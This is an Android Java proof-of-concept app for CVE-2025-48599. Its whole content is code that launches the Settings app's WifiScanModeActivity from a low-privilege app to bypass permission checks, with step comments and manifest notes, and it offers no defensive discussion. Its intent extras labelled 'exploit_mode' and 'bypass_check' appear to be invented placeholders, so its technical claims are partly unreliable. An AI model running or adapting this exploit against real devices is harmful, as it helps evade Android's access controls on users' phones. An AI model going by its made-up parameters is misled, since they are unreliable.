CVE-2025-48599

// CVE-2025-48599 PoC - Android WifiScanModeActivity Permission Bypass // This PoC demonstrates how a low-privilege app can trigger WifiScanModeActivity // without proper permission checks package com.example.cve202548599; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; public class MainActivity extends Activity { private static final String TAG = "CVE-2025-48599"; private static final String WIFI_SCAN_MODE_ACTIVITY = "com.android.settings.WifiScanModeActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.i(TAG, "Starting CVE-2025-48599 PoC"); exploit(); } private void exploit() { try { // Step 1: Create intent to target WifiScanModeActivity Intent intent = new Intent(Intent.ACTION_MAIN); intent.setClassName("com.android.settings", WIFI_SCAN_MODE_ACTIVITY); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Step 2: Add exploit payload parameters intent.putExtra("exploit_mode", true); intent.putExtra("bypass_check", true); // Step 3: Start the activity // Due to missing permission check, this will succeed with low privileges startActivity(intent); Log.i(TAG, "Activity started successfully - permission check bypassed"); Log.i(TAG, "This demonstrates the vulnerability in WifiScanModeActivity"); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage()); } } } // Required AndroidManifest.xml permissions: // <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> // <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> // Note: This PoC requires no special permissions beyond normal app permissions // The vulnerability allows bypassing device config restrictions through // improper permission validation in WifiScanModeActivity

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